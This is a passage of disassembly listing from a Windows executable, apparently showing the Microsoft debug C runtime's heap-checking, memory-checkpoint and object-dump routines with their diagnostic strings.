; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416420


loc_4167A0:				; CODE XREF: sub_416420+373j
		mov	eax, [ebp+var_1C]


loc_4167A3:				; CODE XREF: sub_416420+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_416420
; ---------------------------------------------------------------------------
off_4167B4	dd offset loc_416524	; DATA XREF: sub_416420+82r
		dd offset loc_4164FC
		dd offset loc_4164D4
		dd offset loc_4164A9
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167D0	proc near		; CODE XREF: sub_417B70+A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_444E70
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_4167EB
		mov	ecx, [ebp+arg_0]
		mov	dword_444E70, ecx


loc_4167EB:				; CODE XREF: sub_4167D0+10j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434A68
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_444E70
		and	eax, 1
		test	eax, eax
		jnz	short loc_416831
		jmp	short loc_416898
; ---------------------------------------------------------------------------


loc_416831:				; CODE XREF: .data:0041682Dj
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	dword ptr [ebp-4], 0
		mov	ecx, dword_4DDF74
		mov	[ebp-1Ch], ecx
		jmp	short loc_416855
; ---------------------------------------------------------------------------


loc_41684D:				; CODE XREF: .data:loc_41687Dj
		mov	edx, [ebp-1Ch]
		mov	eax, [edx]
		mov	[ebp-1Ch], eax


loc_416855:				; CODE XREF: .data:0041684Bj
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_41687F
		mov	ecx, [ebp-1Ch]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_41687D
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-1Ch]
		add	ecx, 20h
		push	ecx
		call	dword ptr [ebp+8]
		add	esp, 8


loc_41687D:				; CODE XREF: .data:0041686Aj
		jmp	short loc_41684D
; ---------------------------------------------------------------------------


loc_41687F:				; CODE XREF: .data:00416859j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_41688D
		jmp	short loc_416898

; =============== S U B	R O U T	I N E =======================================



sub_41688D	proc near		; CODE XREF: .data:00416886p
					; DATA XREF: .data:00434A70o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41688D	endp

; ---------------------------------------------------------------------------


loc_416898:				; CODE XREF: .data:0041682Fj
					; .data:0041688Bj
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168B0	proc near		; CODE XREF: sub_416900+1Ep
					; .data:00416AC0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_4168ED
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4E0444	; IsBadReadPtr
		test	eax, eax
		jnz	short loc_4168ED
		cmp	[ebp+arg_8], 0
		jz	short loc_4168E4
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E0440	; IsBadWritePtr
		test	eax, eax
		jnz	short loc_4168ED


loc_4168E4:				; CODE XREF: sub_4168B0+20j
		mov	[ebp+var_4], 1
		jmp	short loc_4168F4
; ---------------------------------------------------------------------------


loc_4168ED:				; CODE XREF: sub_4168B0+8j
					; sub_4168B0+1Aj ...
		mov	[ebp+var_4], 0


loc_4168F4:				; CODE XREF: sub_4168B0+3Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4168B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416900	proc near		; CODE XREF: sub_415640+1AAp
					; sub_415CD0+9Cp ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_0], 0
		jnz	short loc_416913
		xor	eax, eax
		jmp	loc_416A20
; ---------------------------------------------------------------------------


loc_416913:				; CODE XREF: sub_416900+Aj
		push	1
		push	20h
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	sub_4168B0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416931
		xor	eax, eax
		jmp	loc_416A20
; ---------------------------------------------------------------------------


loc_416931:				; CODE XREF: sub_416900+28j
		cmp	dword_4DE64C, 3
		jnz	short loc_41699E
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		call	sub_41CAF0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41696A
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41CB50
		add	esp, 8
		jmp	loc_416A20
; ---------------------------------------------------------------------------


loc_41696A:				; CODE XREF: sub_416900+50j
		mov	ecx, dword_4DDF84
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_416984
		mov	eax, 1
		jmp	loc_416A20
; ---------------------------------------------------------------------------


loc_416984:				; CODE XREF: sub_416900+78j
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E0448	; HeapValidate
		jmp	loc_416A20
; ---------------------------------------------------------------------------


loc_41699E:				; CODE XREF: sub_416900+38j
		cmp	dword_4DE64C, 2
		jnz	short loc_416A0A
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	sub_41EB10
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4169DD
		mov	ecx, [ebp+var_C]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_4169D9
		mov	eax, 1
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_4169D9:				; CODE XREF: sub_416900+D0j
		xor	eax, eax
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_4169DD:				; CODE XREF: sub_416900+C5j
		mov	eax, dword_4DDF84
		and	eax, 8000h
		test	eax, eax
		jz	short loc_4169F2
		mov	eax, 1
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_4169F2:				; CODE XREF: sub_416900+E9j
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		push	0
		mov	edx, dword_4DE648
		push	edx
		call	dword_4E0448	; HeapValidate
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_416A0A:				; CODE XREF: sub_416900+A5j
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		push	0
		mov	ecx, dword_4DE648
		push	ecx
		call	dword_4E0448	; HeapValidate


loc_416A20:				; CODE XREF: sub_416900+Ej
					; sub_416900+2Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_416900	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434A78
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		push	eax
		call	sub_416900
		add	esp, 4
		test	eax, eax
		jnz	short loc_416A6A
		xor	eax, eax
		jmp	loc_416B44
; ---------------------------------------------------------------------------


loc_416A6A:				; CODE XREF: .data:00416A61j
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-1Ch], ecx
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_416AB6
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_416AB6
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_416AB6
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_416B21


loc_416AB6:				; CODE XREF: .data:00416A92j
					; .data:00416A9Bj ...
		push	1
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4168B0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416B21
		mov	ecx, [ebp-1Ch]
		mov	edx, [ecx+10h]
		cmp	edx, [ebp+0Ch]
		jnz	short loc_416B21
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+18h]
		cmp	ecx, dword_444E74
		jg	short loc_416B21
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_416AF6
		mov	edx, [ebp+10h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+18h]
		mov	[edx], ecx


loc_416AF6:				; CODE XREF: .data:00416AE9j
		cmp	dword ptr [ebp+14h], 0
		jz	short loc_416B07
		mov	edx, [ebp+14h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+8]
		mov	[edx], ecx


loc_416B07:				; CODE XREF: .data:00416AFAj
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_416B18
		mov	edx, [ebp+18h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+0Ch]
		mov	[edx], ecx


loc_416B18:				; CODE XREF: .data:00416B0Bj
		mov	dword ptr [ebp-20h], 1
		jmp	short loc_416B28
; ---------------------------------------------------------------------------


loc_416B21:				; CODE XREF: .data:00416AB4j
					; .data:00416ACAj ...
		mov	dword ptr [ebp-20h], 0


loc_416B28:				; CODE XREF: .data:00416B1Fj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_416B36
		jmp	short loc_416B41

; =============== S U B	R O U T	I N E =======================================



sub_416B36	proc near		; CODE XREF: .data:00416B2Fp
					; DATA XREF: .data:00434A80o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_416B36	endp

; ---------------------------------------------------------------------------


loc_416B41:				; CODE XREF: .data:00416B34j
		mov	eax, [ebp-20h]


loc_416B44:				; CODE XREF: .data:00416A65j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DF698
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4DF698, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B80	proc near		; CODE XREF: sub_417280+Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00416D13 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434AD0
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_416BD4


loc_416BA9:				; CODE XREF: sub_416B80+4Dj
		push	offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state	pointer.\n"...
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416BC9
		int	3		; Trap to Debugger


loc_416BC9:				; CODE XREF: sub_416B80+46j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416BA9
		jmp	loc_416D13
; ---------------------------------------------------------------------------


loc_416BD4:				; CODE XREF: sub_416B80+27j
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4DDF74
		mov	[ecx], edx
		mov	[ebp+var_1C], 0
		jmp	short loc_416C02
; ---------------------------------------------------------------------------


loc_416BF9:				; CODE XREF: sub_416B80+A4j
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax


loc_416C02:				; CODE XREF: sub_416B80+77j
		cmp	[ebp+var_1C], 5
		jge	short loc_416C26
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4+18h], 0
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4+4], 0
		jmp	short loc_416BF9
; ---------------------------------------------------------------------------


loc_416C26:				; CODE XREF: sub_416B80+86j
		mov	edx, dword_4DDF74
		mov	[ebp+var_20], edx
		jmp	short loc_416C39
; ---------------------------------------------------------------------------


loc_416C31:				; CODE XREF: sub_416B80:loc_416CDDj
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		mov	[ebp+var_20], ecx


loc_416C39:				; CODE XREF: sub_416B80+AFj
		cmp	[ebp+var_20], 0
		jz	loc_416CE2
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		test	eax, eax
		jl	short loc_416CB8
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 5
		jge	short loc_416CB8
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		add	eax, 1
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+edx*4+4], eax
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+18h]
		mov	eax, [ebp+var_20]
		add	edx, [eax+10h]
		mov	ecx, [ebp+var_20]
		mov	eax, [ecx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4+18h], edx
		jmp	short loc_416CDD
; ---------------------------------------------------------------------------


loc_416CB8:				; CODE XREF: sub_416B80+D0j
					; sub_416B80+E1j ...
		mov	edx, [ebp+var_20]
		push	edx
		push	offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416CD7
		int	3		; Trap to Debugger


loc_416CD7:				; CODE XREF: sub_416B80+154j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416CB8


loc_416CDD:				; CODE XREF: sub_416B80+136j
		jmp	loc_416C31
; ---------------------------------------------------------------------------


loc_416CE2:				; CODE XREF: sub_416B80+BDj
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4DDF7C
		mov	[ecx+2Ch], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4DDF70
		mov	[eax+30h], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_416D08
		jmp	short loc_416D13
sub_416B80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D08	proc near		; CODE XREF: sub_416B80+181p
					; DATA XREF: .data:00434AD8o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_416D08	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416B80


loc_416D13:				; CODE XREF: sub_416B80+4Fj
					; sub_416B80+186j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_416B80
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_416D52
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_416D52
		cmp	dword ptr [ebp+10h], 0
		jnz	short loc_416D80


loc_416D52:				; CODE XREF: .data:00416D44j
					; .data:00416D4Aj ...
		push	offset a_crtmemdiffere ; "_CrtMemDifference: NULL state	pointer.\n"...
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416D72
		int	3		; Trap to Debugger


loc_416D72:				; CODE XREF: .data:00416D6Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416D52
		mov	eax, [ebp-8]
		jmp	loc_416E4C
; ---------------------------------------------------------------------------


loc_416D80:				; CODE XREF: .data:00416D50j
		mov	dword ptr [ebp-4], 0
		jmp	short loc_416D92
; ---------------------------------------------------------------------------


loc_416D89:				; CODE XREF: .data:loc_416E17j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_416D92:				; CODE XREF: .data:00416D87j
		cmp	dword ptr [ebp-4], 5
		jge	loc_416E1C
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+18h]
		sub	edx, [esi+ecx*4+18h]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+18h], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+4]
		sub	edx, [esi+ecx*4+4]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+4], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+edx*4+18h], 0
		jnz	short loc_416DF2
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+ecx*4+4], 0
		jz	short loc_416E17


loc_416DF2:				; CODE XREF: .data:00416DE3j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_416E17
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_416E10
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_416E17
		mov	eax, dword_444E70
		and	eax, 10h
		test	eax, eax
		jz	short loc_416E17


loc_416E10:				; CODE XREF: .data:00416DFCj
		mov	dword ptr [ebp-8], 1


loc_416E17:				; CODE XREF: .data:00416DF0j
					; .data:00416DF6j ...
		jmp	loc_416D89
; ---------------------------------------------------------------------------


loc_416E1C:				; CODE XREF: .data:00416D96j
		mov	ecx, [ebp+10h]
		mov	edx, [ebp+0Ch]
		mov	eax, [ecx+2Ch]
		sub	eax, [edx+2Ch]
		mov	ecx, [ebp+8]
		mov	[ecx+2Ch], eax
		mov	edx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	ecx, [edx+30h]
		sub	ecx, [eax+30h]
		mov	edx, [ebp+8]
		mov	[edx+30h], ecx
		mov	eax, [ebp+8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp-8]


loc_416E4C:				; CODE XREF: .data:00416D7Bj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E60	proc near		; CODE XREF: sub_417280+5Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041711C SIZE 00000037 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434BE8
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_20], 0
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0


loc_416E9B:				; CODE XREF: sub_416E60+5Fj
		push	offset aDumpingObjects ; "Dumping objects ->\n"
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416EBB
		int	3		; Trap to Debugger


loc_416EBB:				; CODE XREF: sub_416E60+58j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416E9B
		cmp	[ebp+arg_0], 0
		jz	short loc_416ECF
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx


loc_416ECF:				; CODE XREF: sub_416E60+65j
		mov	eax, dword_4DDF74
		mov	[ebp+var_1C], eax
		jmp	short loc_416EE1
; ---------------------------------------------------------------------------


loc_416ED9:				; CODE XREF: sub_416E60:loc_4170FEj
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx


loc_416EE1:				; CODE XREF: sub_416E60+77j
		cmp	[ebp+var_1C], 0
		jz	loc_417103
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jz	loc_417103
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 3
		jz	short loc_416F35
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_416F35
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_416F3A
		mov	ecx, dword_444E70
		and	ecx, 10h
		test	ecx, ecx
		jnz	short loc_416F3A


loc_416F35:				; CODE XREF: sub_416E60+A6j
					; sub_416E60+B6j
		jmp	loc_4170FE
; ---------------------------------------------------------------------------


loc_416F3A:				; CODE XREF: sub_416E60+C6j
					; sub_416E60+D3j
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx+8], 0
		jz	short loc_416FB3
		push	0
		push	1
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_4168B0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416F84


loc_416F5A:				; CODE XREF: sub_416E60+120j
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+0Ch]
		push	eax
		push	offset aFileErrorD ; "#File Error#(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416F7C
		int	3		; Trap to Debugger


loc_416F7C:				; CODE XREF: sub_416E60+119j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_416F5A
		jmp	short loc_416FB3
; ---------------------------------------------------------------------------


loc_416F84:				; CODE XREF: sub_416E60+F8j
					; sub_416E60+151j
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+8]
		push	edx
		push	offset aHsD	; "%hs(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_416FAD
		int	3		; Trap to Debugger


loc_416FAD:				; CODE XREF: sub_416E60+14Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416F84


loc_416FB3:				; CODE XREF: sub_416E60+E1j
					; sub_416E60+122j ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+18h]
		push	edx
		push	offset aLd	; "{%ld} "
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416FD5
		int	3		; Trap to Debugger


loc_416FD5:				; CODE XREF: sub_416E60+172j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416FB3
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_41705D


loc_416FEC:				; CODE XREF: sub_416E60+1C8j
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 20h
		push	ecx
		push	offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_417024
		int	3		; Trap to Debugger


loc_417024:				; CODE XREF: sub_416E60+1C1j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_416FEC
		cmp	dword_4DF698, 0
		jz	short loc_41704C
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_1C]
		add	edx, 20h
		push	edx
		call	dword_4DF698
		add	esp, 8
		jmp	short loc_417058
; ---------------------------------------------------------------------------


loc_41704C:				; CODE XREF: sub_416E60+1D1j
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_417160
		add	esp, 4


loc_417058:				; CODE XREF: sub_416E60+1EAj
		jmp	loc_4170FE
; ---------------------------------------------------------------------------


loc_41705D:				; CODE XREF: sub_416E60+18Aj
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [ecx+14h], 1
		jnz	short loc_4170A3


loc_417066:				; CODE XREF: sub_416E60+233j
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 20h
		push	ecx
		push	offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41708F
		int	3		; Trap to Debugger


loc_41708F:				; CODE XREF: sub_416E60+22Cj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_417066
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_417160
		add	esp, 4
		jmp	short loc_4170FE
; ---------------------------------------------------------------------------


loc_4170A3:				; CODE XREF: sub_416E60+204j
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jnz	short loc_4170FE


loc_4170B4:				; CODE XREF: sub_416E60+290j
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 20h
		push	ecx
		push	offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_4170EC
		int	3		; Trap to Debugger


loc_4170EC:				; CODE XREF: sub_416E60+289j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4170B4
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_417160
		add	esp, 4


loc_4170FE:				; CODE XREF: sub_416E60:loc_416F35j
					; sub_416E60:loc_417058j ...
		jmp	loc_416ED9
; ---------------------------------------------------------------------------


loc_417103:				; CODE XREF: sub_416E60+85j
					; sub_416E60+91j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_417111
		jmp	short loc_41711C
sub_416E60	endp


; =============== S U B	R O U T	I N E =======================================



sub_417111	proc near		; CODE XREF: sub_416E60+2AAp
					; DATA XREF: .data:00434BF0o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_417111	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416E60


loc_41711C:				; CODE XREF: sub_416E60+2AFj
					; sub_416E60+2E0j
		push	offset aObjectDumpComp ; "Object dump complete.\n"
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41713C
		int	3		; Trap to Debugger


loc_41713C:				; CODE XREF: sub_416E60+2D9j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41711C
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_416E60
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417160	proc near		; CODE XREF: sub_416E60+1F0p
					; sub_416E60+239p ...

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_34		= byte ptr -34h
arg_0		= dword	ptr  8

		push	ebp
